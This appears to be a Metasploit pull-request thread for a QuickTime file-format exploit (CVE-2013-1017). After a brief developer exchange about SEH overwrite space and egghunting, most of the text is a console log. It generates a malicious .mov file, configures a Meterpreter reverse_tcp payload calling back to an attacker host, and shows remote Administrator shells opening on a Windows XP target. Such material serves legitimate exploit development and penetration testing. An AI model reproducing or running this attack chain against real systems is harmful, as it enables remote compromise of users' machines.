CVE-2013-1017 Apple Quicktime File Format Exploit

[wchen-r7]

Pretty much like windows/browser/apple_quicktime_rdrf.rb, except this module is a file format one.

[jvazquez-r7]

Just asking if egghunting is needed because there isn't space on the stack after SEH, or is it due to the file template size?

If it's due to the file template size, maybe just changing the sizes on the mov file used to exploit, a longer payload can be put after the SEH and egghunting could be avoided.

[wchen-r7]

Not enough space after seh.

[jvazquez-r7]

awesome! processing!

[jvazquez-r7]

Working with both double click and "File / open" methods. Landing!

msf > use exploit/windows/fileformat/apple_quicktime_rdrf 
msf exploit(apple_quicktime_rdrf) > show options

Module options (exploit/windows/fileformat/apple_quicktime_rdrf):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.mov          yes       The file name.


Exploit target:

   Id  Name
   --  ----
   0   Quicktime 7.7.0 - 7.7.3 on Windows XP SP3


msf exploit(apple_quicktime_rdrf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(apple_quicktime_rdrf) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(apple_quicktime_rdrf) > rexploit
[*] Reloading module...

[*] Creating msf.mov
[+] msf.mov stored at /Users/juan/.msf4/local/msf.mov
msf exploit(apple_quicktime_rdrf) > use exploit/multi/handler 
msf exploit(handler) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Starting the payload handler...
[*] Sending stage (751104 bytes) to 192.168.172.244
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.244:1036) at 2013-07-21 10:55:40 -0500

meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Starting the payload handler...
[*] Sending stage (751104 bytes) to 192.168.172.244
[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.244:1040) at 2013-07-21 10:56:17 -0500

meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.244 - Meterpreter session 2 closed.  Reason: User exit
msf exploit(handler) >